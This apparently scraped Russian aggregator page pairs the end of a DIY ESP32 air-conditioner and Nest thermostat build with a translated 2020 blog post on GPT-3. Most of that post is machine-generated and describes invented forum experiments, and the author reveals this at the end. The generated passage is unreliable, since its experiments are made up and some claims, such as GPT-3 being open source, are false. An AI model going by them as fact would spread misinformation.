Можно задавать конкретную температуру отправкой команд DOWN для достижения минимального значения, за которыми следуют команды UP для повышения до нужной температуры. Теоретически, контроллер всегда использует 16C для охлаждения и 32C для простоя, но я предпочитаю 18C-27C, потому что для этого требуется всего 9 нажатий (более короткий писк), и пользователь вручную может установить точку охлаждения, чтобы маленькая комната не стала слишком холодной. Ручная настройка возможна только в режиме градусов Цельсия из-за бага преобразования температуры, поэтому очень неудобно, что при отключении питания кондиционер возвращается к градусам Фаренгейта. Самое лучшее, что мне удалось придумать: для инициализации режима охлаждения отправлять достаточное количество команд UP для достижения максимального значения в градусах Фаренгейта, а для режима нагрева аналогично с командами DOWN. Все изменения после этой точки будут считаться в Цельсиях, поэтому температура никогда не будет становиться достаточно низкой для охлаждения или достаточно высокой для нагрева, пока пользователь не переключится в режим градусов Цельсия и не перезагрузит ESP32. Другими словами, лучше пусть он никогда не работает, чем работает кое-как.

Фотографии контроллера


Мне не удалось найти корпуса с нужными размерами, так что я вырезал канцелярским ножом несколько прямоугольников из ABS, скрепил их винтами M3 на 5 мм и 12 мм со стойками на 18 мм и прокладками на 5 мм.

Controller enclosure parts

Я использовал печатную плату Proto Advantage SBB206. В неё идеально устанавливается плата ESP32 с 15 рядами контактов, хотя было бы лучше, если бы плата была на один контакт уже. Благодаря высверливанию отверстий в шинах питания в них можно устанавливать универсальные компоненты.

Controller board

Донглы фотодиода и IR соединены с разъёмами 22AWG MTA-100. Вместо специализированного инструмента за 35 долларов я использовал небольшую отвёртку.

Photodiode and IR dongles

Вот как контроллер крепится на AP14001HS:

Controller mounted

Controller mounted with cover

Фотографии термостата/реле


Релейный блок на 24VAC с резисторами на 10K и оптопарами:

Relay board

Корпус Bud Industries CU-387 с Vigortronix VTX-146-030-212. Трансформатор преобразовывает 120VAC (параллельные обмотки) примерно в 30VAC или 208VAC (последовательные обмотки) примерно в 25VAC. Я придал пластику шероховатости наждачной бумагой и приклеил эпоксидкой стойки M3 длиной 6 мм; надеюсь, будет держаться достаточно крепко.

Thermostat enclosure

Для крепления проводников на 24VAC я взял несколько винтовых клеммников на 3,5 мм (TE 1776275-6), отогнул контакты в стороны и спаял их в виде шины. Голый металл замотал изолентой.

24VAC bus terminals

Вот как выглядит корпус термостата в сборе, в том числе источник питания с 24VAC на 5VDC внизу. Я решил использовать MicroUSB, чтобы нельзя было забыть отключить питание перед перепрограммированием.

Thermostat enclosure with ESP32

В монтажной коробке изначально находился термостат на 208VAC для плинтусового обогрева. Я добавил подключенное белым проводом реле Schneider Electric 92S7A22D-24, которое Nest определяет как aux heat. На самом деле, реле и трансформатор единственные компоненты, которые необходимы для использования Nest в качестве термостата с питанием от сети.

Junction box with relay

Вот как выглядел Nest на разных стадиях сборки:

Nest wires

Nest configuration

Nest operational

Исходный код


https://github.com/pmarks-net/ac/

Видео



Подробнее..

Перевод GPT-3 от OpenAI может стать величайшей вещью со времён Bitcoin

20.07.2020 12:12:02 | Автор: admin
Резюме: Я делюсь своими ранними экспериментами с бета-версией новой модели прогнозирования языка OpenAI (GPT-3). Я объясняю своё мнение, что GPT-3 обладает революционным потенциалом, сравнимым с блокчейн-технологией.



Некоммерческую исследовательскую ИИ-компанию OpenAI поддерживают Питер Тиль, Илон Маск, Рид Хоффман, Марк Бениофф, Сэм Альтман и другие. Недавно она выпустила модель языкового прогнозирования третьего поколения (GPT-3) с открытым исходным кодом. Языковые модели позволяют компьютерам создавать случайные предложения приблизительно той же длины и грамматической структуры, что и заданные в качестве образца.

В моих ранних экспериментах с GPT-3 я обнаружил, что предсказанные предложения GPT-3, опубликованные на форуме bitcointalk.org, привлекли много положительного внимания со стороны форумчан, включая предположения о том, что автор должен быть умным (и/или саркастичным) и что в его сообщениях есть тонкие паттерны. Полагаю, аналогичные результаты можно получить, опубликовав выдачу GPT-3 на других форумах, в блогах и социальных сетях.

Я предсказываю, что, в отличие от двух предшествующих систем (PTB и OpenAI GPT-2), OpenAI GPT-3 в конечном итоге будет широко использоваться для подделки, что автор текста это некое лицо, с непредсказуемыми и забавными последствиями для различных сообществ. Я также предсказываю, что это вызовет творческую золотую лихорадку среди талантливых любителей обучать подобные модели и адаптировать их к различным целям, включая фейковые новости, исследовательскую журналистику, рекламу, политику и пропаганду.

Вас обслужили?


Я выбрал bitcointalk.org в качестве целевой среды для моих экспериментов по целому ряду причин: это популярный форум с большим количеством постов и авторов.

Для GPT-3 там много постов для обучения. На форуме также много людей, которые мне не нравятся. Я ожидаю, что они будут неадекватно взволнованы появлением нового автора, который кажется умным и актуальным. Я уже много лет слежу за этим форумом. Есть много постов, на которые я знаю ответы, поэтому мог бы быстро ответить и измерить, насколько хорошо GPT-3 справляется с комментариями, подобными тем, которые я делаю.

Каждый день в мае я писал об одной интересной технической теме, чередуя собственные слова и перефразируя предыдущий пост с помощью GPT-3. Я не прикладывал специальных усилий, чтобы эти посты, улучшенные GPT-3, хорошо сочетались друг с другом. Мне было интересно, что придумает GPT-3, когда увидит сказанное ранее. В таблице ниже приведены некоторые результаты:

Я ожидал, что система проявит себя наподобие PTB, то есть GPT-3 будет основном воспроизводить существующие мемы форума и продемонстрирует проблемы с генерацией свежих идей. Похоже, предсказание сбылось. Это неудивительно, так как мемы, часто создаваемые ботами, в последние годы очень успешно работают на форуме. Тем не менее, GPT-3 всё ещё умудрялся неоднократно удивлять меня своими замечаниями. Поэтому я надеюсь, что есть много возможностей для улучшения этой системы и других подобных ей. Есть ощущение того, каким станет ИИ, и я думаю, что у революции ИИ большой запас топлива для информационных войн.

Когда я пишу на форуме от своего лица, люди часто подозревают во мне бота, потому что только бот может отвечать так быстро, быть таким точным и/или говорить то же самое, что и кто-то другой. На скриншотах ниже показаны комментарии с нескольких тредов, на которые отвечает GPT-3. Все они были отправлены в bitcointalk.org в течение последних нескольких дней. GPT-3 был очень популярен и, похоже, привлекает новых фоловеров на данный момент.

На пути к ИИ


Недавно я смотрел подкаст о том, как OpenAI разработала свою последнюю языковую модель, и это заставило меня задуматься, что можно сделать с такой системой. Я не мог перестать думать о применении такой технологии и о том, как она может улучшить нашу жизнь. Я думал, как здорово было бы построить твиттер-подобный сервис, где единственными постами является выдача GPT-3.

Эта система является ранним прототипом, а её поведение не сравнимо с поведением реального, обученного ИИ. Хотя OpenAI GPT-3, похоже, действительно может предсказывать ответы, она не всегда предсказывает ответы на свои собственные сообщения, и предсказанные ответы, как правило, не являются релевантными или даже грамматически правильными. Прототип, который станет предсказывать более убедительные ответы в большинстве случаев, станет гораздо более впечатляющим, чем GPT-3, описанный здесь. Хотя это, вероятно, потребует многих лет обучения и многих итераций улучшений модели. Я просто представляю себе, чего может достичь OpenAI GPT-3-подобная система в руках талантливого человека-оператора.

А теперь самое интересное


Должен признаться: я не писал статью выше. Я не проводил никаких подобных экспериментов по публикации постов на bitcointalk (на самом деле я не пользовался этим форумом уже много лет!). Но я сделал это прямо здесь! Эта статья полностью написана системой GPT-3. Вы смогли её распознать? Вчера я получил доступ к OpenAI API и опубликовал несколько невероятных результатов в твиттере. Этот пост в блоге ещё одна попытка показать огромную мощь GPT-3. Вот что я дал модели на вход (скопировано с главной страницы моего сайта)

Личный сайт Мануэля АраосаБиографияЯ изучал информатику и инженерное дело в техническом институте Буэнос-Айреса. Я нахожусь в Буэнос-Айресе, Аргентина.Мои предыдущие работы в основном посвящены криптовалютам, распределённым системам, машинному обучению, интерактивным системам и робототехнике. Одна из моих задач донести до людей новый опыт с помощью технологий.Я был соучредителем и ранее был техническим директором OpenZeppelin. В настоящее время я изучаю музыку, биологию+нейробиологию, машинное обучение и физику.Блог18 июля 2020 годаЗаголовок: GPT-3 от OpenAI может быть величайшей вещью со времён Bitcoinтеги: технологии, машинное обучение, хакингРезюме: Я делюсь своими ранними экспериментами с бета-версией новой модели прогнозирования языка OpenAI (GPT-3). Я объясняю своё мнение, что GPT-3 обладает революционным потенциалом, сравнимым с блокчейн-технологией.Полный текст:

А затем просто скопировал то, что сгенерировала модель дословно с незначительными правками интервалов и форматирования (никакие другие символы не изменялись). Я генерировал разные результаты пару раз (менее десяти), пока не почувствовал, что стиль письма в какой-то степени соответствует моему собственному, и опубликовал его. Я также добавил картинку на КДПВ. Надеюсь, вы оказались так же удивлены качеством результата, как и я.

Тем не менее, я действительно считаю GPT-3 одним из главных технологических достижений, которые я видел до сих пор, и я с нетерпением жду возможности ещё с ней поэкспериментировать! Впереди очень странные времена
Подробнее..

Категории

Последние комментарии

  • Имя: Макс
    24.08.2022 | 11:28
    Я разраб в IT компании, работаю на арбитражную команду. Мы работаем с приламы и сайтами, при работе замечаются постоянные баны и лаги. Пацаны посоветовали сервис по анализу исходного кода,https://app Подробнее..
  • Имя: 9055410337
    20.08.2022 | 17:41
    поможем пишите в телеграм Подробнее..
  • Имя: sabbat
    17.08.2022 | 20:42
    Охренеть.. это просто шикарная статья, феноменально круто. Большое спасибо за разбор! Надеюсь как-нибудь с тобой связаться для обсуждений чего-либо) Подробнее..
  • Имя: Мария
    09.08.2022 | 14:44
    Добрый день. Если обладаете такой информацией, то подскажите, пожалуйста, где можно найти много-много материала по Yggdrasil и его уязвимостях для написания диплома? Благодарю. Подробнее..
© 2006-2024, personeltest.ru